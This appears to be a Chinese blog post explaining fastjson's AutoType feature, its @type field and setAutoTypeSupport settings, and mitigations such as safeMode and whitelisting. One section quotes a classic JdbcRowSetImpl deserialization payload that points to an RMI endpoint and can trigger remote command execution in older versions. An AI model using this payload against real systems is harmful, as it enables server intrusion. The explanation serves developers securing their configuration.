初探fastJson的AutoType

     阅读:64

1. AutoType 何方神圣?

参考 https://juejin.cn/post/6846687594130964488

fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

但是,fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。

其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

  • 1、基于属性
  • 2、基于setter/getter

而我们所常用的JSON序列化框架中,FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json。

1.1 type字段

​ 假设我们有以下Java类:

public interface Fruit {
}
@Data
@AllArgsConstructor
@NoArgsConstructor
public class Apple implements Fruit{
    private BigDecimal price;
}
@Data
@AllArgsConstructor
@NoArgsConstructor
public class Store {
    private String name;
    private Fruit fruit;
}

​ 那么问题来了,我们上面的定义的Fruit只是一个接口,序列化的时候fastjson能够把属性值正确序列化出来吗?如果可以的话,那么反序列化的时候,fastjson会把这个fruit反序列化成什么类型呢?


​ 我们尝试着验证一下,基于(fastjson 1.2.75):

Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);

​ 我们创建了一个store,为他指定了名称,并且创建了一个Fruit的子类型Apple,然后将这个store使用 JSON.toJSONString 进行序列化,可以得到以下JSON内容:

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}

​ 那么,这个fruit的类型到底是什么呢,能否反序列化成Apple呢?我们再来执行以下代码:

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);

​ 执行结果报错,我们尝试将Fruit转换成Apple,但是抛出了异常。

​ 以上现象,我们知道,当一个类中包含了一个接口(或抽象类)的时候,在使用fastjson进行序列化的时候,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型。

那么有什么办法解决这个问题呢,fastjson引入了AutoType,即在序列化的时候,把原始类型记录下来。

​ 使用方法是通过 SerializerFeature.WriteClassName 进行标记,即将上述代码中的

String jsonString = JSON.toJSONString(store);

​ 修改成:

String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);

​ 输出结果如下:

{
    "@type":"com.example.redis.entity.Store",
    "fruit":{
        "@type":"com.example.redis.entity.Apple", //多了@type映射全类名,反序列就可以找到对应的类
        "price":0.5
    },
    "name":"Hollis"
}

​ 这就是AutoType,以及fastjson中引入AutoType的原因。

1.2 setAutoTypeSupport

​ 首先,可以通过

ParserConfig.getGlobalInstance().isAutoTypeSupport(); //获取是否允许AutoType(默认是fasle)
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 设置全局支持或禁止AutoType

​ 尝试关闭AutoType后:

ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 设置全局支持或禁止AutoType

​ 发现以上的代码还是可以 正常   的根据@type字段来反序列化。

​ 但是如果使用了范型,如下:

​ 再有以下Java类:

@Data
@AllArgsConstructor
@NoArgsConstructor
@ToString
public class Result<T>{
    private T data;
}

​ 再对Store进行封装:

ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
//ParserConfig.getGlobalInstance().setSafeMode(true);
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);

Result<Store> t = new Result<>(store);
String jsonString = JSON.toJSONString(t, SerializerFeature.WriteClassName);
System.out.println("toJSONString : " + jsonString);
Result result = JSON.parseObject(jsonString, Result.class);
System.out.println("parseObject : " + result);

​ 输出结果:

toJSONString : {"@type":"com.example.redis.entity.Result","data":{"@type":"com.example.redis.entity.Store","fruit":{"@type":"com.example.redis.entity.Apple","price":0.5},"name":"Hollis"}}
com.alibaba.fastjson.JSONException: autoType is not support.   // 异常autoType is not support
....

​ 若开启setAutoTypeSupport(true),

toJSONString : {"@type":"com.example.redis.entity.Result","data":{"@type":"com.example.redis.entity.Store","fruit":{"@type":"com.example.redis.entity.Apple","price":0.5},"name":"Hollis"}}
parseObject : Result(data=Store(name=Hollis, fruit=Apple(price=0.5))) //可以正常反序列化

2.反序列化攻击

​ 因为有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。

​ 那么就可以利用这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。

​ 举个例子,黑客比较常用的攻击类库是com.sun.rowset.JdbcRowSetImpl,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。

​ 而fastjson在反序列化时会调用目标类的setter方法,那么如果黑客在JdbcRowSetImpl的dataSourceName中设置了一个想要执行的命令,那么就会导致很严重的后果。

如通过以下方式定一个JSON串,即可实现远程命令执行(在早期版本中,新版本中JdbcRowSetImpl已经被加了黑名单)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

这就是所谓的远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令。

3.AutoType 安全模式

​ 这些漏洞的利用几乎都是围绕AutoType来的,于是,在 v1.2.68版本中,引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化类变种攻击。

​ 设置了safeMode后,@type 字段不再生效,即当解析形如{"@type": “com.java.class”}的JSON串时,将不再反序列化出对应的类。(无论白名单和黑名单,都不支持autoType)。

ParserConfig.getGlobalInstance().setSafeMode(true); 

​ 所以一般使用AutoType时建议使用指定白名单的方式。

   // 全局开启AutoType,不建议使用
   // ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
   // 建议使用这种方式,小范围指定白名单
   ParserConfig.getGlobalInstance().addAccept("xxx.xxx.");

4.参考

打开AutoType功能

fastjson到底做错了什么?为什么会被频繁爆出漏洞?